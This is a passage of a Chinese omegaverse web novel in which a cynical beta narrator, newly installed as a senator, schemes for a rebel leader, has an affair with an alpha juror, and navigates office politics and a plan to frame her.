“那可是二十年前的事情,当时我也不过是刚刚长大的青年而已。”罗拉蒂尼看起来没有隐瞒我的打算,“那位beta女性,哈哈哈,她给了我重创,让我缓了好几年才缓过神来。本想带着你走,没想到暴乱开始了。” omega女性的脸上露出些许回忆往昔的感慨,“真可惜啊,如果不是当时我的身份不允许,我会比斯科特家的孩子更早将你收为学生。” “一个野心勃勃,不甘落后又精于算计不择手段的学生,多好。”她说道。 我扯了个没感情的笑容,“*如果我的老师是您,那么您已经被我摧毁腺体两次了。” 听到这里的番苏给我丢了个意味不明的眼神。 我猜那是警告我说话小心点的眼神。 不过罗拉蒂尼并不在意,反而真情实感笑起来,“我有自信不会教导出忘恩负义的白眼狼。” 那你可猜错了,我就是白眼狼,昂撒亲口承认,奥维拉身体力行。 我呼出一口气,不想再继续回忆往昔的小游戏,直接转移话题,“您让我过来不是为了回忆小时候谁抱过我的话吧?” “不耐烦了?”罗拉蒂尼挑眉,“无垠,不要那么急躁。” 阿西吧,神棍烦死了! 偏偏这人是我真正的直系领导,所以我的小脾气也不能发,只能重新变成老实人憨厚委屈的模样低头垂目不说话。 罗拉蒂尼见我这样也知道真不能再继续讨论了,于是叹息一口气,说:“无垠,你能爬到这个位置,我是真的很惊喜啊。” “或许你能有机会和我一起见到她。” 我敏锐抬起头,“您说的那位曾经给你和组织给予重创的beta女性,她在白灯湾!” 罗拉蒂尼笑而不语。 艹,我就说一个大boss好端端的和我讨论什么“小时候我还抱过你”的话题很莫名其妙,原来是在这等着呢! 阿丽曾经和我说过,组织之所以各个等级成员之间互不认识,是因为曾进被一位beta女性重创过一次,那是在二十年前。 等等,罗拉蒂尼到底几岁! 我惊疑不定的目光取悦了罗拉蒂尼。 她又给我爆出了一个惊雷,“说起来,帕菲尔是我的孩子。” 哇哦,我和领导儿子搞上了诶! 豪门赘媳2.0版本? 不是,我脑子好乱哦,好端端造反的领导突然告诉我有一个皇家儿子,那我怎么搞? 大脑在此时此刻打结,然后又在某一个维度奇迹般地顺滑起来。 难怪能当教皇呢。 自古以来权贵和宗教勾勾搭搭不是理所应当嘛。今天你当当教皇,明天我当当团长,有什么好处一家子轮着来,这样才能构建和谐友爱天龙人大家庭呀! “所以为了明面上好听,您隐瞒了年纪,实际上今年已经接近五十岁了对吧?”我说道,“挺厉害,看不出来。果然权利是最好的养生茶,您看起来容光焕发。” “多厉害的嘴。”罗拉蒂尼笑道,“番苏,你和她有的一拼。” “不敢当。”番苏耸肩,“我可没有和您的孩子搞在一起。” “年轻人,有精力就让她玩吧。”罗拉蒂尼不是很关心孩子的情感和私人生活。 我扯了扯嘴角,“您想让我对隆多家族做什么?” 坐到叛乱党首领这个位置,我不相信罗拉蒂尼对帕菲尔有多少慈母爱。 血缘关系固然重要,但立场才是根本。 她们母子二人的立场注定了未来的你死我忘。我与其关心她们母子俩关系,还不如关心我该怎么做才能让自己利益最大化。 罗拉蒂尼也终于不再是那拉家常的长辈模样了,笑盈盈地对我说:“隆多家族是亲总统派,所以多年来都能顺利进入陪审团。那位beta女性对这样的家族有九分的满意。” 我眉头一挑,“你让我挑拨离间,把那一分不满意揪出来?您抬举我了。我和您孩子短短相处的时间里,我能感觉到他和您是一类人。” “那可不一定。”罗拉蒂尼说道。 “他很喜欢你,不是么?”罗拉蒂尼将一个盒子拿出来放在桌面上。 又见面了,熟悉的小盒子。 我看着盒子想道。 “辛罗娅才去实验室几天,这就研究出新的东西了?” “那个年轻人天赋异禀,我们当然会重用。”罗拉蒂尼把盒子往我面前推,“忘了提一点,当初我是在无人区受孕的。” 我打开盒子,将里面只有拇指大小的玻璃吸管放入口袋,“我尽力。” “无垠。”罗拉蒂尼忽然叫唤我的名字。 我眼眸微抬,和她的眼睛直直看着。 她的眉眼保持弯起的弧度,圣母般包容又温柔,“好孩子,你会得到应有的奖励。” “无论你是否诚心信奉上帝,你的言行举止确实告诉我你是一位虔诚的信徒。” 一位只遵从自我内心的信徒。 我替罗拉蒂尼补齐了后半句话。 我拿着东西离开了房间,一步一步走入黑暗的走廊,眼睛直视不断靠近的,撒有阳光的走廊尽头。 我清楚罗拉蒂尼为什么回忆往昔说一大堆废话。 要换做是我,在功成名就时看见一位和自己年轻时相似的年轻人,也会忍不住起了栽培的心思。 时间,机会,诱发事件的导火索,栽赃陷害伪造的证据,还有对beta性别迷恋的帕菲尔隆多。 我的脑海中快速构思一张紧密的网,将所有能利用的信息全都扑上去,寻找能将这些东西串联在一起的办法。 我该怎么做? 深受总统宠爱的有权有势大家族,我该怎么挑拨离间呢? 罗拉蒂尼知道这很难,所以没有明确时间,只是给了我有可能要用到的药剂。 深呼吸一口气,我终于走进了阳光,和阁新重聚。 “你怎么去了那么远,什么入职事项要交代那么久?”阁新满脸怀疑。 “她跟我说了参议院除了我和她之外其他席位的参议员是什么性格。”我说道。 阁新相信了。 十九个人呢,不得好好记忆一下? 想到等会帕菲尔会来,我生怕这两个alpha撞上,于是随便找了个借口把阁新弄走了。 他走时还骂骂咧咧说我肯定是好色之徒为了乱搞连组织任务和理想都不管不顾了。 放你狗爹屁,我现在是奉旨扣人你懂不懂!—— 作者有话说:小白:不得了,真给我搞上太子爷了 第72章 我对着阁新离开的背影竖了个中指,余光瞥见某一辆正在靠近的黑色轿车,又以极快的速度把手指收回去假装自己的憨厚木讷的诚恳老实人。 教堂真是一个注重隐私的好地方,大人物们想干点什么乱七八糟的事情只要披上“个人隐私神圣不可侵犯”和“无人能窥探上帝”的名头,就没有人敢安装监控了。 到时候发生点什么还不是大人物们说了算。 所以我在隆多的带领下二次进入神秘小房间,还得做出一副忐忑不安又窘迫害羞的模样。 隆多显然看不上我的惺惺作态。 两人之间但凡有一方是正经的好人就不会出现在这个神秘小房间里勾勾搭搭。 但很多时候上床讲究的是情趣,玩一点大家心知肚明的角色扮演还是很刺激的。 就例如现在,我扮演的就是“参议员,你也不想你的十三席位被撤销吧”的三流小说戏码。 滚到床上的时候隆多的手盖在我的后脖颈上,似乎还在确认我的真实性别。 我一时间有些微妙,“要我出示性别证明吗?” 隆多还真就停下了脱衣服的手,“可以。” 我:神经病啊!谁他爸的上床还带那玩意! 嘿嘿我还真带了。 从第一次见面隆多就旁若无人摸索我后脖颈确认性别后,我就察觉到这人对beta性别可能存在迷恋情节。 后续罗拉蒂尼告诉我的信息让我确认了这个猜想成立。 在无人区那个四处都是信息素,暴躁又恶劣的环境下,胎儿一定会受到影响。 我见过太多无法控制自己,像是野兽一样随时随地交/配的alpha和omega。 他们鲜少存在理智,麻木又堕落地享受□□带来的欢愉,然后在清醒的痛苦间隙生下又一批的受害者。 而作为beta的我就成了个彻头彻尾的旁观者,然后被他们怨恨地挤压生存空间。 微微燥热的手不知道第几次覆盖上我的后脖颈,无声催促我。 我将纸质证明拿出来给他看。 隆多靠着床头,浓密的黑色长发落下来,遮住了他一半的胸膛,另一半则是明目张胆地向外呼吸。 轻薄的毯子看看盖住他的小腹下方,我眼不斜视,假装没看见那即将露出来的粉色一节。 “你和其他情人上床也带这种东西?”他竟然还反过来问我。 我两只眼睛无辜眨眼,“只有你。” 就你对我的性别挑挑拣拣,其他人没那条件。 确认了性别,总算能进入正题。 我以为这位白给男是个经验丰富的,来之前还绞尽脑汁想了想怎么保证我矿工地位不动摇。 可看他掀开毯子后一动不动的模样,我就知道我多虑了。 “beta是这样上床的?”他问。 我毫不心虚对上他的视线,真诚又老实地看着他,“对。” 等他的腿挂我肩膀上的时候,他又问了一遍,“是么?” “那您有和其他beta上过吗?”我反问他。 他终于不问了,放松身心完全躺下。 喘息,摩挲,以及吸吮。 在最恍惚的时候,他还是会用鼻尖去蹭我的脖子,用舌尖去确认我是否存在腺体。 我闻不到他的信息素味道,他也闻不到我的“信息素”,于是这就演变成一场“beta之间性与爱”的模仿秀,假装两人都没有被信息素蛊惑,是发自内心地想要把□□贴合在一起。 最后,他匐在我的小腹上,不再想要伸出手抚摸我的后脖颈,而是他自己的。 可惜,他就是个alpha。 哪怕和beta上床,他也是个alpha,这一点改变不了……起码在他的认知里改变不了。 我想我知道怎么完成罗拉蒂尼给我的任务了。 8月17日,新竞选上位的参议员入职了。 我穿着考究的工作制服,从大车库里倒出崭新的自行车,开开心心地上任去了。 什么?为什么是自行车不是轿车? 因为我不忘初心,知道自己从群众来,那么以后也会往群众里去……假的,其实是我没舍得花钱。 买自行车的钱都是昨晚从阿沐的钱包里抠出来的。 alpha男当时嚎啕大哭,怒骂我是小白脸只知道吃软发,但最后还是在我不懈努力的游说下拿出了钱包。 “只有这些吗?”当时的我问道。 “没有了!剩下的我还要付下个学期的学费!” 于是我只能作罢,看看下次还能用什么理由把剩下的钱骗出来。 来到参议院大楼,距离上班还有十分钟。 之所以提前当然也不是因为我多勤奋努力,我只是单纯小人得志想要体会一下被众多小喽喽仰慕敬畏的眼神。 好了不许看我的自行车,不然我就炒你们鱿鱼。 十三席位的办公室在四楼,我来到电梯前等待电梯。 “叮!” 我首先迈开步伐进入电梯。 电梯门还没关,我就看见柯里亚纶站在了电梯前,看着空荡荡只有我一人的电梯时,他的面部表情僵了僵。 我低眉顺眼,“霍里议员,你怎么不进来?” “……我等下一趟。” 我不等他反应,挂起热情洋溢的笑脸上去拽住他的手腕往电梯里拖,“不要客气,霍里议员。如今我到这个地位也少不了你的帮助。” 柯里亚纶想要往后推,但我力气大,我说了算。 于是我把他拽进了电梯,然后按下关门按钮,“霍里议员的办公室在几楼呢?” 事到如今,他也知道反抗没用,于是报出楼层,“六楼。” “哇,那不是和院长,副院长一个楼层吗?”我帮他按下按钮,然后用羡慕感慨又憧憬的语气说道,回头看他的眼神充满了崇拜,“柯里亚纶,你真厉害。就算我到现在这个地位了,也没见过比你还厉害的alpha。” 柯里亚纶:…… 他嘴唇紧抿,不吃我的花言巧语,反而离我更远了。 看得出来他真的很有心理阴影。 但顺直a的面子大过天,那天我做的越过分,他越爽,就越不敢说出去。在没有机会真正抓住能弄垮我的尾巴前,他在明面上根本不会和我撕破脸皮。 何况我和霍里家族之间还有利益交换,现在我还是卡特勒养子的未婚妻,为了以后的利益,他也不会动我。 “叮!” 四层到了。 我挂着憨笑,“我先走了,霍里议员。” “嗯。” 就在离开电梯的前一秒,我的手以极快的速度抚过他的腰。 于是成功在电梯门关闭前,看见他骤然阴沉的脸色。 嘻嘻,逗顺直a好好玩。 心情愉悦的我背着手就往自己的办公室走。 助理小林已经提着公文包在门口等待了,看见我后恭恭敬敬地低头问好:“白议员,早上好。” “你也好,小林。”我对她和颜悦色。 小林很年轻,还不到三十岁,戴着一副知识分子标准眼镜,身穿正经严肃的西装。 我之前处于好奇问她怎么会为卡特勒办事。 “她资助我念书。”小林回答”。 聪明的学生受限于贫困,主动握住了权贵伸出来的橄榄枝,这事在上行城屡见不鲜。 我拍拍她的肩膀,就打开了我的办公室门。 原本十三席位的参议员因“意外”身亡了,属于他的私人物品也在15日前清空。 我双手叉腰站在巨大的落地窗前,毫无顾忌地吹出响亮的口哨。 “哇!” 我,白无用,太帅了! 小林安安静静看着我敞开手臂享受阳光。大约过了五分钟,她看向腕表说:“白议员,您还有十分钟左右的时间准备会议。” “此次会议的重点为废墟上新型城市建立后的公民搬迁问题,税务问题以及是否开通军事区,克亚区以及上行城交通的问题。” 我:…… 好他爸的复杂,要不是我临时抱佛脚看了点破书,还真就听不懂了。 就这样在落地窗前呆呆站立几秒,我深呼吸一口气,从包里翻出我的保温杯然后接上热水,丢进茶包。 “这些你都替我准备好了吧?”我问她。 小林点点头,专业性十足地从公文包里拿出文件夹,“这是团长的意思。” “那还等什么,去会议室吧。” 到达会议室,我是第四个来的人。 参议院内有权重的二十一位参议员陆续到齐,神态各异,面容不同。 我一一扫过去,寻找熟悉的面孔。 柯里亚纶霍里,第四席位。 番苏,第五席位。 缇温简,第十九席位。 坐在首位即将退休的院长是第一席位,一位暮霭沉沉的alpha男性。副院长为第二席位,是一位意气风发的alpha女性。 “各位,都到齐了。”院长首先扬起笑容对着众人说道,“今天我们来了两位前途无量的新人。” 众人将视线转移到我的脸上,而后又飞快的转移到缇温脸上。 在座的都是人精,谁也没把心里的意思表现出来,十分给面子地鼓掌欢迎。 虚假寒暄后,会议主持人打开显示屏的动作拉开了这次会议的帷幕。 “首先,有议员提出爆炸后的贫民窟废墟公民搬迁问题。”院长指了指显示屏上的内容,笑呵呵说,“这个问题大家在之前不是已经确认过,陪审团也审核通过了吗?为什么还提出来呢?” “计划赶不上变化。”柯里亚纶首先发言,“当初的克亚区公民并不知道贫民窟的存在。如果还是限定名额,克亚区恐怕会引起民愤。” 第73章 大家讨论得很激烈。 是否彻底放开名额,如果不彻底那么如何限制,该怎么限定条件。 现如今谁都不想成为被克亚区仇恨的参议员,但谁都想得到克亚区的好感。 想要牛马锄地,又不给牛马吃草,还希望牛马感恩戴德,既要又要还要,充分展现了天龙人不知死活还傲慢的性格。 我翻开文件夹,里面是白纸黑字密密麻麻,还有很多小林的手写标注。 我挨个翻过去,用黑色签字笔把其中几条涂黑划掉,又增添了几项我想要的东西。 “白议员。”副院长忽然看向我,“你有什么意见吗?” 我抬起头,感受到众人将目光聚焦在我身上时那种如芒刺背的感觉,于是扯开一个笑容,说:“我是新人,还有很多地方不懂,想要再听听大家怎么说。” “哈哈哈,不用担心。”第三席位参议员呵呵笑道,“这个会议就是为了让各位畅所欲言,无论白议员是什么想法,尽管提出来吧。” 他给了我面子,那我自然是不能推脱的。 翻到了相关的一页,我的目光略过那些被我涂黑划掉的地方,念出了自己增添上去的内容,“新型城市建立的地方是贫民窟废墟,也就是说距离克亚区更近。我之前在贫民窟待过,那里的地理环境偏移,多山少平原,且有很多盘踞的暴力组织和偷渡组织。” 众人听到这里神态各异,我便继续说。 “所以,我认为需要开放。第一:上行城的大家长久居住在白灯湾下,习惯了舒适的环境。第二:只有给予克亚区足够多的名额和工作机会,他们才能够心甘情愿地帮助大家建立新型城市。毕竟建造防止铺设水泥之类的,只有克亚区的人擅长。第三:我们只能对克亚区底层开放。” 前两条的,众人都没什么反应,到了第三条,大家的脸色就变得奇怪微妙了。 “真是不错的想法啊。”副院长笑道。 就在我以为他会向我询问第三条时,他却转了个画风,对其他人问:“其他人还有什么想法吗?” 其他人继续发言。 我握笔的手有一瞬间的停顿,之后如常干自己的事情。 会议的三个问题,讨论了将近三个小时。 我几乎不会主动出声,都是问题讨论到一半时被副院长点出来要求发言。 可无论我提出了什么建议,大家都会用虚假的笑容夸赞两句后不再给予我丝毫的目光,仿佛忘记了我的存在然后继续他们的畅所欲言。 会议结束后,小林回到我的身边,平静的语气听不出情绪,“您要去食堂吃饭,还是回办公室?” “回办公室吧。”我笑道,“他们不欢迎我,难道我还要主动凑上去吗?” 回去办公室的路上,小林就跟在我身后,依旧提着公文包。 “团长早知道我会面临这个局面吧?”我回头问她。 小林闻言,推了推眼镜框,对我说:“您是新人,第一次出现这样的情况是难免的。” “缇温简可没有被人甩脸子。”我用打趣的语气反驳小林。 beta女性嘴巴张了张,最后闭上了嘴巴。 她自己当初就没少遇到职场霸凌,现在我这种级别比她还高的人都遇到了,更不知道该怎么解决问题了。 “或许您可以告诉团长。”进了办公室,小林轻声提议。 “这种鸡毛蒜皮的小事和她说,她会觉得我脑子短路了。”我大喇喇坐回椅子上,“不过你放心,我没有所谓的自尊心,他们那些小手段对我没影响,顶多是膈应我而已。” 而且我身后是卡特勒,他们再不怎么喜欢我,也只能暗地里搞孤立。真到有什么事情的时候,还是会想起我拉我一把。 这就是利益共同体吧。 不过参加会议也不是没有好处,起码我知道了其他参议员的性格和拉帮结派出来的几个小团体。 首先可以肯定的是排行前五席位的参议员都不是一伙的。 院长即将退休,大家没有必要闹腾他,所以都表现出了友好。副院长在院长离开后即将上位,大家也没必要得罪她。 剩下的分别是第三席位的alpha男性海金议员,第四席位的alpha男性柯里亚纶,还有第五席位的beta女性番苏。其他参议员们分出三个派分别以这几人为首。 我之前将莱文作为礼物打包送给了霍里,霍里此前又为卡特勒做事,因此我能确认在众人眼里我和柯里亚纶属于一派。 缇温简走的是帕菲尔隆多的关系,隆多作为陪审团团员和团长卡特勒利益对冲,那在众人眼里我和缇温是对立立场。 至于番苏,我和她在明面上不熟,但她本人性格表现得很自来熟,所以众人眼中我俩是关系友好的同事。 那么问题来了,大事上他们会拉我一把但不会让我吃大头,我该怎么威胁他们不仅大事上拉我一把还要把所有吃的都上供给我并且毫无怨言呢? 哎呀,我真可怜,不就是想吃点好的东西吗,就得被一群老登倚老卖老职场霸凌。 我感悟出人生道理,果然玩政治的心都脏。 想了几秒钟也没想出怎么做,看看时间,我大手一挥干脆不想了,吃饭最重要。 “小林!我中午想吃大闸蟹!” 小林:“恐怕不行,卡诺卡先生给我发信息说要来给您送饭。” 卡诺卡来给我送饭? 他会做饭吗?他真的不会下毒吗? 我倒吸一口凉气,双手交叉抵住下巴,“小林,我能现在去食堂吃吗?” “不行的,先生说要拦着你。” “你的上司到底是我还是他!”我气急败坏。 小林低下头假装看不见我的愤怒,说:“是团长。” 行吧,看来这顿饭我是必须吃了。 我在办公室等了十分钟,小林才带着卡诺卡上来。 “你怎么不亲自下来接我?”卡诺卡进了门,把保温饭盒往桌面上一防就开始抱怨。 我看着被保温盒压在下面的纸质文件,对他微微一笑然后把文件抽出来,说:“正在看文件,下次一定。” “这次就原谅你了。”卡诺卡说道。 我对他笑得很无奈包容,越过他看向约西尔,“约西尔也来了。” “对啊,我让他来的。”卡诺卡昂起下巴,显得得意极了,“你们都得感谢我。” 我搞不懂卡诺卡奇怪的脑回路是怎么走的,也不在乎现在这对塑料小兄弟明面上到底什么关系,我只知道我肚子很饿。 打开了保温饭盒,扑面而来的就是一股香味。 这可大大出乎我的意料,我以为卡诺卡这种人根本不会亲自下厨房。 我在吃饭的时候,卡诺卡就像是一只趾高气昂的鸟,昂首挺胸地环顾整个毛坯房一样的办公室,然后嫌弃翻白眼皱眉。 约西尔则是坐在了沙发上,趁着卡诺卡背过身去的时候飞快撇向我,发现我只顾着低头专心吃饭后又愤愤不平地把头转回去。 “这窗帘好难看,给我换掉。”卡诺卡对小林说道,“还有那边需要摆一个花瓶。” 我就任由卡诺卡对办公室指指点点,恨不得把他自己的审美照搬过来。 这些我倒是无所谓,反正就只是工作的地方。而且卡诺卡是我的未婚夫,为了巩固人设,这点面子我还是很乐意给他的。 于是等他絮絮叨叨半个小时把要修改的地方都让小林记下来后,我贴心地给他倒了一杯白开水。 “你真是底层人,一点都没有审美。”卡诺卡习惯性地朝我腿踢了一脚。 依旧不疼,更像撒娇了。 我抿着唇,“嗯,都听你的。” “啪嗒!”身后的约西尔有什么东西掉落在了地板上。 我距离他比较近,就干脆走过去替他捡起来。 他也跟着弯下腰,把那掉在地上的化妆镜拿起来。 食指有了短暂的交汇,又迅速分开。 约西尔凝聚在眉间的阴郁很快消散了。 我啧啧称奇。 “约西尔。”卡诺卡冷不丁叫了一声。 约西尔嘴角上钩起一抹教养得体的微笑,“怎么了,诺卡。” “我有东西忘记拿了,你陪我下去一趟。” “好。” 我就这样看着两人离开办公室。 我当然知道,卡诺卡这是打算和约西尔吵架了。 毕竟以卡诺卡的性格,真有什么东西忘拿了只会指挥小林或者约西尔单独去拿,然后心安理得和我单独相处。 不过我不在乎。 随便他们怎么闹,别给我闹出幺蛾子,也别烦我,我都行。 想了想,我担心约西尔冲动之下会说什么,于是也让小林跟上去,“小林你去看看吧,顺便送他们回家。” 小林在和我对视的一秒钟就明白我话里的意思,于是点点头,把保温盒收好就出去了。 我静静等着,看向落地窗外。 那是刚刚从外面回来的柯里亚纶,而站在他旁边的是一位神职成员。 明天就是18日,罗拉蒂尼加冕为教皇的日子。这段时间内各地宗教气息浓厚,很多富人政客会请神职成员上门布道,柯里亚纶单独会见神职成员的行为并不显眼。 我又在办公室内等了很久,小林才头发凌乱地回来。 她的眼镜框歪歪斜斜,镜片碎裂,原本得体严肃的西装更是沾满了灰尘,见到我后才松一口气说:“白议员,我想请假回家整理一下形象。” “你要不告诉我你怎么弄成这样?”我问。 小林表情复杂,平静的脸上浮现出崩溃麻木的表情,“卡诺卡先生,和霍里先生,他们打起来……也不对,是卡诺卡单方面和霍里先生打起来了。” 据小林说,两人出去没多久,卡诺卡就开始推搡约西尔。 由于距离问题,小林没听清约西尔说了什么,只知道卡诺卡越来越愤怒,从最开始的推搡演变成扯头发。 等靠近了,小林才听见卡诺卡怒骂约西尔是“不要脸的私生子”。 “嘶——”我目瞪口呆,“还好去的不是我。” “白议员……” “咳咳。”我甩甩手,给她写了请假条,“你去吧,我会和团长说明那个情况,不扣你工资,也会给你发奖金的。” 小林拿了请假条,浑身沧桑地离开了。离开前看我的眼神竟然带着一丝敬意。 大概是因为我竟然能在诸多情人的情况下稳住卡诺卡不在眼前发疯,所以很敬佩我吧—— 作者有话说:小男人扯吊的事情随便扯,我们小白是不会参与的。毕竟这是他们的事情嘛[狗头叼玫瑰] 第74章 小林还是走了,留下我一个人在办公室内百无聊赖地翻看文件。 上班第一天没有多少工作,那点文件不出十分钟就能看完。 我又看了看小林提供的日程表。 “今天是星期天,为什么我还要工作?”我发自内心地疑问,“没道理啊,难道因为明天是教皇加冕日?” 以我浅薄的见识,上层人真心实意信教的人少之又少,大多数都是以这个理由来收钱。 在赎罪卷完全开放时期,教堂把赎罪卷吹嘘成“包治百病,带来好运”的东西,只要花钱购买贴身携带就能解决各种生活难题。 后来不知道什么时候开始,赎罪卷就不再对外界开放,只有上层的富人和政客们才有资格购买,而赎罪卷的性质也从“包治百病”变成了更靠近上帝。 算了算日期,我合理怀疑是罗拉蒂尼做的。 穷人再怎么压榨能榨出多少钱来?富人和政客们随便一出手,就能顶过百上千的穷人,而且源源不断。 这才是真正的赎罪卷!罗拉蒂尼,不愧是你! 办公室待久了有点无聊,反正没事做不如出去转转。 于是我端着水杯就跑打算去在四楼各地晃悠,顺便看看二十一席位议员之外的其他议员是如何工作的。 此时正是普通议员们繁忙的时候,路过公共办公室时就能听见各种各样的键盘打字声和小声说话声。 当我路过时,他们就会小心谨慎又毕恭毕敬地向我打招呼。 “白议员,真巧啊。”有人在我身后说话。 我回头一看,是第三席位的海今。 他的年龄在40岁左右,长相还算儒雅,意气风发,手上还戴着个结婚戒指。 “好巧。”我对他扬起标准的正经人笑容,“我在办公室的工作做完了,就打算出来透透气。你也是吗?” “我正有此意。”海今的笑容是十分标准的政客嘴脸,维持这虚假亲切那一套。 他朝我做了个邀请的动作,“正好大家都没事,不如一起逛逛?我带你熟悉熟悉。” 早上才给了我下马威,现在就要拉拢吗? 真是打一棍棒再给甜枣。 但这一招确实有用,尤其是我这种想要接触权利的新人来说,已经是固定流程了。 于是我也扬起标准的政客笑容,“恭敬不如从命。” 我跟在海今的身后,路过一个又一个的格子间,听他在前面介绍着我*俩心知肚明的各种办公和基础设施。 终于到了一处可以休息的地方,他才慢悠悠地进入正题,“白议员,一路走过来很厉害啊。” “谬赞了,多亏团长的提拔。”我谦虚说道,主动帮他引导话题。 “哈哈哈,白议员不要谦虚了,想来你一定是有过人之处,团长才会看重你,还愿意让你做她的上门媳妇。”海今笑容扩大,手摸着结婚戒指,“哎呀,无论是谁,只要身边有了贤惠的omega,生活总是会更好的。” 他这么一说我就先起来小林狼狈的样子。 卡诺卡算得上贤惠吗? 算了先夸赞一下吧。 “诺卡是很好的omega,我很期待以后和他结婚。” 我知道他想说什么呢,但这种时候我不能主动开口。 他想要讨好我背后的卡特勒,把我这个明面上是“柯里亚纶同伙”的人拉过去,那就意味着需要支付一定的好处。 吃人手短原则,他总不能想要利益还得我亲自送吧? 果然,我两人就这样笑盈盈地对望了几下,他又开口了,“哎呀,你们年轻人之间的话题就是很多。我和我的配偶之间相差十五岁,很多时候我根本不懂他的脑子里都在想些什么,大概每个omega都是这样。” “白议员呢?我听说你的未婚夫好友也是一位beta。有了这位beta,你和未婚夫之间也不需要磨合了吧?” “你说的是霍里家的约西尔吧?”我成功接下他的拐弯抹角,“约西尔的父亲在我被关进小黑屋的时候很照顾我,一来二去我也和他熟悉上了。总之,他们都是教养良好的人。” “与霍里议员比呢?”海今笑眯眯抛出了一个致命问题。 我没有立刻回答,透过远处的窗户看见正在朝这边走来的番苏和柯里亚纶。慢悠悠喝一口保温杯里的茶水,我回避了问题,“我和他不怎么熟悉,还是不说了。” 刚刚说完。番苏和柯里亚纶就走过来了。 “哈哈哈好热闹啊,怎么大家现在都那么有空在这闲聊啊,是没事做吗?”番苏上来就是一句把所有人都骂了一遍的挖苦玩笑。 海今:“……番议员也没事做?” “有啊,但我看你们好像很清闲的样子,所以我没忍住过来打扰你们。” 现在好了,三个副院长最有竞争力的人都在这呢。 按理来说我应该走,但我不。 我身后是卡特勒,在还没有到最后的时刻前,我都是他们想要吊上去的大鱼。 所以我心安理得地继续坐在位置上,看他们三人不同风格的话语明面上打趣暗地里贬低的谈哈。 柯里亚纶的话最少,也最自负,看不上年纪太大的海今,也看不上番苏的性别。等海今和番苏两人说的差不多了,才会插上一嘴拉踩。 我旁观地差不多了,于是装作无意间对柯里亚纶说:“霍里议员也是信徒吗?” 金发碧眼的alpha一下子就把视线转过来了,皱着眉含着微微的警告,“嗯,算是。” “难怪呢,我看今天中午你和一位神职成员交谈甚欢,应该是认识了很久的好友吧。”我笑着说道。 番苏正好坐我旁边,听我这么一说就亲昵地揽住我的肩膀,说:“其实也就这半个月的好友。霍里议员的龟毛性格也就神职成员受得了。” “番苏!”柯里亚纶面色难看,直接开始点名道姓。 “哎哟,都是同事,不要吵架。”海今打圆场。 我左右看一圈,“这么说,明天的加冕仪式霍里议员也会到场吗?我是底层来的人,还没见过这种大场面,要是有人能带我熟悉熟悉就好了。” “小事,交给我呗。”番苏笑容更灿烂了。 “你那张嘴,恐怕会被赶出教堂。”柯里亚纶讥讽。 两人又要吵起来,海今继续打圆场。 我感觉到肩膀被人小小地捏了一下。 余光看着番苏那维持灿烂笑容的侧脸,我装作苦恼地和海今对视一眼,最后叹息一口气,“那能麻烦海议员带我去吗?番议员和霍里议员你们两个,我要是跟着其中一人去,我也会被赶出教堂的。” “哈哈哈!行,白议员到时候跟着我就行了!”海今把茶杯举起来代替酒杯,“我的配偶正好也想见见你们这对新订婚的小情侣,到时候互相照应。” 我笑眯眯地端起保温杯,“我相信海议员会给我们最好的安排。” 当天晚上九点,我再次放下阿沐的腿,对阿丽说:“你对我有什么不满吗?” 阿丽:“没有。” “那你为什么一定要挑在这种时候?虽然我不会养胃,但阿沐会。” 刚刚说完,阿沐就面红耳赤骂了我一句,然后赶快穿上衣服准备走人。 “他不能走。”阿丽说道,“她们有事情要安排。” 我原本恼怒的表情凝滞,变回严肃的样子和阿沐对视一眼。 “首领有什么安排?”我问,“又想让阿沐做什么?”—— 作者有话说:咳嗽两天才知道一直在发低烧[笑哭]各种地方发炎,打针之后手又疼,这两天只能尽量更新多一点。 第75章 阿沐有什么用吗? 笑死,从没有关注阿沐钱包以外的事情,所以突然从阿丽口中听到阿沐对组织来说竟然是可以用的人才后竟然感觉很惊讶。 这种惊讶程度不亚于在大学教室看见阿丽在讲台上讲课一样,荒诞的同时在某种角度来说有很理所当然。万一阿丽教授的是如何杀人的知识呢? 所以阿沐在讲台上传授的也是杀人…… 阿丽说:“他可以和你一起去军事区。” 我点点头,“哦,原来是可以和我一起去军事区……我草,为什么我要去军事区!” “她们让你去的,接下来的计划中有你的一部分。只要成功了,回来你就能做副院长。” 我暴跳如雷,两只手都在颤抖,哆哆嗦嗦指着阿丽的鼻子,“这不是做副院长的问题!这是我狗命难保的问题!我一个参议员好端端跑军事区干什么?跑到前线去挨子弹吗?你就是收尸都没法给我收齐全!” 阿沐也不赞同地皱起眉,“白无垠这人就是个贪生怕死的人渣,你让她去,不出两天她就会被当逃兵枪毙了。” “……阿沐你这是在替我说话?”我满脸迷茫,“我好歹是参议员和卡特勒的上门赘媳,不至于枪毙我吧?” 就在我和阿沐面面相觑时,阿丽张开口,然后忘词了。 于是她从口袋里拿出小纸条,快速浏览一遍,说:“明天上午,卡瑟娜在军事区失踪的消息就会传出来。” 看着阿丽开开合合的嘴巴念出一串冰冷的文字,我顿时感觉心肌梗塞。 我这才当上参议员多少天?一天都没有结束啊,就让我不得不面临靠山要跑的事实? 卡特勒提拔我做参议员不就是为了给卡瑟娜铺路吗?卡瑟娜都失踪了,她哪里有时间管我? 就上行城各大花边记者传播八卦的速度,明天上午卡瑟娜失踪,晚上卡瑟娜死亡的谣言就编造出来,再过几天发酵,卡瑟娜就是没死也会被人钉死! 除非卡特勒死心了把重心放我身上,否则我没多级就会被其他人设套打下去。 “嘶——”想到那种可能,我就倒吸一口凉气,胸口闷闷的好像要缺氧窒息而亡,“谁干的?昂撒?他哪来那么大的本事绑架高级军官?” 阿丽看都没看我,继续念她的稿子,“不是昂撒干的。” 我顿时呼一口气,“原来是组织干的啊,那就没事……” 阿丽又接下一句,“她们说让大家怀疑是你干的。” 我:“……其实我是罗拉蒂尼的私生女对吧,不然为什么她一个教皇要干掉我?这是不是应该叫荣誉谋杀?” 阿丽收起纸条,眨着呆滞的眼神看我,“她们说你知道该怎么做。” “我靠!我知道该怎么做我就得受着?你们合起伙来一起弄我是吧!”我破防跳脚,甚至口不择言让阿沐上去和阿丽打架。 但很显然,阿丽就是个头脑简单四肢发达的怪物,三两下就把阿沐踹倒了,然后继续维持看我,“所以你干吗?” “我不干!”我厉声拒绝。 阿丽:“她们说组织内会给你发奖金,包括欠我的那一万零一百块也给报销。” “我干。”我一下子就来精神了,“这不是道德和法治的问题,你们知道我的,我一向见钱眼开。早说有钱拿,我不就可以早点答应了吗?” 我上前一步,语重心长地伸出手按在阿丽的肩膀上,表情严肃又真挚,“阿丽,以后先说多少钱,再说让我做的事,懂了吗?” 阿丽似懂非懂,但很听话地点头,“好。” 